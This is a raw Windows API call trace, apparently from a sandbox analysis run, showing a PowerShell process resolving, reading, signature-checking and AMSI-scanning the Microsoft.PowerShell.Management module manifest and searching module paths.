[0242.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0242.445] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0242.446] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0242.446] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0242.446] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0242.446] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0242.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0242.446] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5417630 | out: lpFileInformation=0x5417630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fef3047, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fef3047, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fef3047, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0242.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0242.448] CoCreateGuid (in: pguid=0x87be8e4 | out: pguid=0x87be8e4*(Data1=0xef77d85d, Data2=0x6e19, Data3=0x456a, Data4=([0]=0xb6, [1]=0x47, [2]=0x1, [3]=0xe3, [4]=0x4c, [5]=0x15, [6]=0xa7, [7]=0x84))) returned 0x0 [0242.590] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x770 [0242.590] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x778 [0242.590] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x784 [0242.591] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7a0 [0242.591] SetEvent (hEvent=0x7a0) returned 1 [0242.591] SetEvent (hEvent=0x770) returned 1 [0242.591] SetEvent (hEvent=0x778) returned 1 [0242.591] SetEvent (hEvent=0x784) returned 1 [0242.594] AmsiCloseSession () returned 0x35b78c0 [0242.595] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7a4 [0242.595] SetThreadUILanguage (LangId=0x0) returned 0xef0409 [0243.402] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0243.403] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0243.403] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0243.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be364) returned 1 [0243.403] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be3e0 | out: lpFileInformation=0x87be3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fef3047, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fef3047, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fef3047, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0243.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be360) returned 1 [0243.404] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0243.671] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0243.671] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0243.672] CoTaskMemAlloc (cb=0x20c) returned 0x7883460 [0243.672] GetSystemDirectoryW (in: lpBuffer=0x7883460, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0243.672] CoTaskMemFree (pv=0x7883460) [0243.672] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0243.672] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0243.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bdfc8) returned 1 [0243.672] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x87be044 | out: lpFileInformation=0x87be044*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0243.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bdfc4) returned 1 [0243.673] GetSystemInfo (in: lpSystemInfo=0x87be078 | out: lpSystemInfo=0x87be078*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0243.673] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x87be008 | out: phkResult=0x87be008*=0x7a8) returned 0x0 [0243.674] RegQueryValueExW (in: hKey=0x7a8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x87be024, lpData=0x0, lpcbData=0x87be020*=0x0 | out: lpType=0x87be024*=0x0, lpData=0x0, lpcbData=0x87be020*=0x0) returned 0x2 [0243.674] RegCloseKey (hKey=0x7a8) returned 0x0 [0243.686] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0243.686] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0243.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bdf80) returned 1 [0243.686] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7a8 [0243.687] GetFileType (hFile=0x7a8) returned 0x1 [0243.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bdf7c) returned 1 [0243.687] GetFileType (hFile=0x7a8) returned 0x1 [0244.020] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x87bdfbc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x87bdfbc*=0) returned 0x0 [0244.020] ReadFile (in: hFile=0x7a8, lpBuffer=0x51e8770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87bdfe8, lpOverlapped=0x0 | out: lpBuffer=0x51e8770*, lpNumberOfBytesRead=0x87bdfe8*=0x9ea, lpOverlapped=0x0) returned 1 [0244.024] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x87bdfbc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x87bdfbc*=0) returned 0x9ea [0244.024] ReadFile (in: hFile=0x7a8, lpBuffer=0x51e7cee, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x87bdfe8, lpOverlapped=0x0 | out: lpBuffer=0x51e7cee*, lpNumberOfBytesRead=0x87bdfe8*=0x0, lpOverlapped=0x0) returned 1 [0244.024] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x87bdfbc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x87bdfbc*=0) returned 0x9ea [0244.024] ReadFile (in: hFile=0x7a8, lpBuffer=0x51e8770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87bdfe8, lpOverlapped=0x0 | out: lpBuffer=0x51e8770*, lpNumberOfBytesRead=0x87bdfe8*=0x0, lpOverlapped=0x0) returned 1 [0244.025] CoTaskMemAlloc (cb=0x20c) returned 0x7883460 [0244.025] GetSystemDirectoryW (in: lpBuffer=0x7883460, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0244.025] CoTaskMemFree (pv=0x7883460) [0244.025] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0244.025] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0244.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bdf1c) returned 1 [0244.025] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x87bdf98 | out: lpFileInformation=0x87bdf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0244.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bdf18) returned 1 [0244.025] GetSystemInfo (in: lpSystemInfo=0x87bdfcc | out: lpSystemInfo=0x87bdfcc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0244.026] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x87bdf5c | out: phkResult=0x87bdf5c*=0x48c) returned 0x0 [0244.027] RegQueryValueExW (in: hKey=0x48c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x87bdf78, lpData=0x0, lpcbData=0x87bdf74*=0x0 | out: lpType=0x87bdf78*=0x0, lpData=0x0, lpcbData=0x87bdf74*=0x0) returned 0x2 [0244.027] RegCloseKey (hKey=0x48c) returned 0x0 [0244.028] CloseHandle (hObject=0x7a8) returned 1 [0244.216] CoCreateGuid (in: pguid=0x87be04c | out: pguid=0x87be04c*(Data1=0x66e35d34, Data2=0x4a18, Data3=0x4109, Data4=([0]=0xa2, [1]=0xa, [2]=0xf9, [3]=0x27, [4]=0xd1, [5]=0x8b, [6]=0xb7, [7]=0xcc))) returned 0x0 [0244.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0244.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0244.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bdce0) returned 1 [0244.329] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87bdd5c | out: lpFileInformation=0x87bdd5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fef3047, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fef3047, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fef3047, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0244.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bdcdc) returned 1 [0244.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0244.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0244.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0244.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0244.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bdc54) returned 1 [0244.330] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87bdcd0 | out: lpFileInformation=0x87bdcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fef3047, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fef3047, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fef3047, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0244.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bdc50) returned 1 [0244.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0244.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0244.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bdc28) returned 1 [0244.330] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7a8 [0244.330] GetFileType (hFile=0x7a8) returned 0x1 [0244.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bdc24) returned 1 [0244.330] GetFileType (hFile=0x7a8) returned 0x1 [0244.330] WTGetSignatureInfo () returned 0x0 [0244.616] CertDuplicateCertificateContext (pCertContext=0x7610608) returned 0x7610608 [0244.616] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x87bdc8c | out: phkResult=0x87bdc8c*=0x490) returned 0x0 [0244.617] RegQueryValueExW (in: hKey=0x490, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87bdcac, lpData=0x0, lpcbData=0x87bdca8*=0x0 | out: lpType=0x87bdcac*=0x1, lpData=0x0, lpcbData=0x87bdca8*=0x56) returned 0x0 [0244.617] RegQueryValueExW (in: hKey=0x490, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87bdcac, lpData=0x51f762c, lpcbData=0x87bdca8*=0x56 | out: lpType=0x87bdcac*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x87bdca8*=0x56) returned 0x0 [0244.617] RegCloseKey (hKey=0x490) returned 0x0 [0244.617] CoTaskMemAlloc (cb=0x10) returned 0x7637e58 [0244.617] CoTaskMemAlloc (cb=0x30) returned 0x76fc688 [0244.617] WinVerifyTrust () returned 0x0 [0244.623] CoTaskMemFree (pv=0x76fc688) [0244.623] CoTaskMemFree (pv=0x7637e58) [0244.623] CertFreeCertificateContext (pCertContext=0x7610608) returned 1 [0244.623] CloseHandle (hObject=0x7a8) returned 1 [0244.624] AmsiOpenSession () returned 0x0 [0244.624] AmsiScanString () returned 0x80070015 [0244.879] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0244.880] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0244.900] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0244.900] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0244.900] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0244.900] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0245.164] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0245.164] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0245.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bd6e0) returned 1 [0245.164] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x87bd75c | out: lpFileInformation=0x87bd75c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0245.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bd6dc) returned 1 [0245.229] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0245.229] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0245.231] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x87bd418, nSize=0xc3 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0245.233] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0245.235] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0245.235] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 